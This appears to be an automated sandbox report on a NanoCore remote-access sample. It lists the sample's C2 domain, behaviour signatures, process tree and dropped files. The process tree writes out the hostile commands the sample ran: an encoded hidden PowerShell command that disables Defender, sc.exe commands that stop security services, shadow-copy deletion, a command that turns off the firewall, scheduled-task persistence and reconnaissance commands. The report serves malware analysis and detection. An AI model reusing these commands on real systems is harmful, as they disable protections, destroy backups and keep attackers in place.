Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    31/08/2026, 01:53

General

  • Target
    2026-08-30_e802319a0b5e8dbda930e7bf46d6e5e7_destroyer_elex_glassworm_ngrbot_wannacry.exe
  • Size 57KB
  • Sample260831-cbe82aec92
  • SHA256 b91d614e907db2c9e01fe915a1652d7883323273975cd7a987ac9e6873d1b699
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • nanocore

Version
  • 1.2.2.0

C2
  • http://thesocolive.com

Mutex
  • ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes
  • c2_url

    http://thesocolive.com

  • default_group

    xoilac

  • primary_dns

    ali.ns.cloudflare.com

  • secondary_dns

    woz.ns.cloudflare.com

  • version

    1.2.2.0

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Contains code to disable Windows Defender 3 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Detects command variations typically used by ransomware 2 IoCs
  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 3 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-30_e802319a0b5e8dbda930e7bf46d6e5e7_destroyer_elex_glassworm_ngrbot_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-30_e802319a0b5e8dbda930e7bf46d6e5e7_destroyer_elex_glassworm_ngrbot_wannacry.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Modifies security service
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Checks computer location settings
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1088
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1456
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:2376
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:1780
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:2332
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:4700
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:1704
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:2888
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:2052
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4048
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2948
      • C:\Users\Admin\AppData\Local\Temp\2026-08-30_e802319a0b5e8dbda930e7bf46d6e5e7_destroyer_elex_glassworm_ngrbot_wannacry.exe
        "C:\Users\Admin\AppData\Local\Temp\2026-08-30_e802319a0b5e8dbda930e7bf46d6e5e7_destroyer_elex_glassworm_ngrbot_wannacry.exe"
        3⤵
          PID:2136
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wscsvc
        2⤵
        • Launches sc.exe
        PID:976
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wuauserv
        2⤵
        • Launches sc.exe
        PID:3140
      • C:\Windows\System32\vssadmin.exe
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        2⤵
        • Interacts with shadow copies
        PID:4064
      • C:\Windows\System32\wbem\WMIC.exe
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4696
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:4860
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-08-30_e802319a0b5e8dbda930e7bf46d6e5e7_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2740
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\2026-08-30_e802319a0b5e8dbda930e7bf46d6e5e7_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc minute /mo 30 /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3336
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4000
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:2068
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1040
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3812
        • C:\Windows\System32\Conhost.exe
          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          3⤵
            PID:1780
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:4760
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3400
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Discovers running processes
            • Suspicious use of AdjustPrivilegeToken
            PID:4820
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4472
          • C:\Windows\system32\whoami.exe
            whoami
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4732
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2684
          • C:\Windows\system32\net.exe
            net user
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3212
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              4⤵
                PID:4888
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4904
            • C:\Windows\system32\ipconfig.exe
              ipconfig /all
              3⤵
              • Gathers network information
              PID:740
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3172
            • C:\Windows\system32\NETSTAT.EXE
              netstat -an
              3⤵
              • Gathers network information
              • Suspicious use of AdjustPrivilegeToken
              PID:4424
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-08-30_e802319a0b5e8dbda930e7bf46d6e5e7_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4744
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
            2⤵
            • Executes a VBScript file via the Windows Script Host.
            PID:4236
          • C:\Windows\System32\notepad.exe
            "C:\Windows\System32\notepad.exe"
            2⤵
              PID:2636
            • C:\Windows\System32\vssadmin.exe
              "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
              2⤵
              • Interacts with shadow copies
              PID:2052
            • C:\Windows\System32\wbem\WMIC.exe
              "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
              2⤵
                PID:3260
              • C:\Windows\System32\net.exe
                "C:\Windows\System32\net.exe" stop srservice
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:4252
                • C:\Windows\System32\Conhost.exe
                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  3⤵
                    PID:4696
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop srservice
                    3⤵
                      PID:1884
                  • C:\Windows\System32\netsh.exe
                    "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                    2⤵
                    • Modifies Windows Firewall
                    • Event Triggered Execution: Netsh Helper DLL
                    PID:4060
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                    2⤵
                    • Launches sc.exe
                    PID:3696
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" stop i8042prt
                    2⤵
                    • Launches sc.exe
                    PID:2760
                • C:\Windows\system32\vssvc.exe
                  C:\Windows\system32\vssvc.exe
                  1⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5076
                • C:\Users\Admin\AppData\Local\Temp\2026-08-30_e802319a0b5e8dbda930e7bf46d6e5e7_destroyer_elex_glassworm_ngrbot_wannacry.exe
                  C:\Users\Admin\AppData\Local\Temp\2026-08-30_e802319a0b5e8dbda930e7bf46d6e5e7_destroyer_elex_glassworm_ngrbot_wannacry.exe
                  1⤵
                    PID:1268
                  • C:\Users\Admin\AppData\Local\Temp\2026-08-30_e802319a0b5e8dbda930e7bf46d6e5e7_destroyer_elex_glassworm_ngrbot_wannacry.exe
                    C:\Users\Admin\AppData\Local\Temp\2026-08-30_e802319a0b5e8dbda930e7bf46d6e5e7_destroyer_elex_glassworm_ngrbot_wannacry.exe
                    1⤵
                      PID:3476

                    Network

                          MITRE ATT&CK Enterprise v16

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                          Downloads

                          scr_20260831_025531.jpg

                          • Path C:\ProgramData\SysUpdate\Scr\scr_20260831_025531.jpg
                          • Size 76KB
                          • SHA256 30f9f9a6637fcaffa16d896f982ee397bd540e4c49774406bb16fa6242c5a41f
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          invoice_1.pdf

                          • Path C:\ProgramData\invoice_1.pdf
                          • Size 76KB
                          • SHA256 d2639468f4f22e1ea8dccd5349d7894f90c773c0d168d4659b04847619aca403
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          doc_3.pdf

                          • Path C:\SystemVolumeInformation\doc_3.pdf
                          • Size 76KB
                          • SHA256 7f879b765424c656d887df4e0057eeafe0df1326cd4cdf01b7e772c86a27e952
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          2026-08-30_e802319a0b5e8dbda930e7bf46d6e5e7_destroyer_elex_glassworm_ngrbot_wannacry.exe.log

                          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2026-08-30_e802319a0b5e8dbda930e7bf46d6e5e7_destroyer_elex_glassworm_ngrbot_wannacry.exe.log
                          • Size 660B
                          • SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
                          • MD5 SHA1 SHA512 TLSH

                          __PSScriptPolicyTest_vfyuqdpm.25g.ps1

                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vfyuqdpm.25g.ps1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512 TLSH

                          createshortcut.vbs

                          • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                          • Size 309B
                          • SHA256 7e0c7bed7c52a63cdb8db98910301762ff0cf0191dea3b0790a116f49eb38fd5
                          • MD5 SHA1 SHA512 TLSH

                          del.bat

                          • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                          • Size 59B
                          • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                          • MD5 SHA1 SHA512 TLSH

                          makelnk.vbs

                          • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                          • Size 310B
                          • SHA256 d7bf5577d9467d527b08bd253aa6af7e636a8cb7f7f64975d3824ad84faa2f80
                          • MD5 SHA1 SHA512 TLSH

                          temp_steal.log

                          • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                          • Size 102KB
                          • SHA256 2f71240c59a638a9f2ca43d1f9004ed9a5ea425116d40ff084f5de7e2cfe9876
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          stolen_data_here.txt

                          • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                          • Size 102KB
                          • SHA256 2296b2f009797ff5530f420f0b3312c2b9c4b95ea17c4f6c7204750abf489676
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          sysupdate.exe

                          • Path C:\Windows\System32\sysupdate.exe
                          • Size 57KB
                          • SHA256 b91d614e907db2c9e01fe915a1652d7883323273975cd7a987ac9e6873d1b699
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          memory/1088-2268-0x000000001B850000-0x000000001B860000-memory.dmp

                          memory/1088-0-0x0000000000CB0000-0x0000000000CC4000-memory.dmp

                          memory/1088-1-0x000000001B850000-0x000000001B860000-memory.dmp

                          memory/1456-800-0x0000019B24E00000-0x0000019B24E22000-memory.dmp

                          memory/2636-2253-0x000001C72BB60000-0x000001C72BB61000-memory.dmp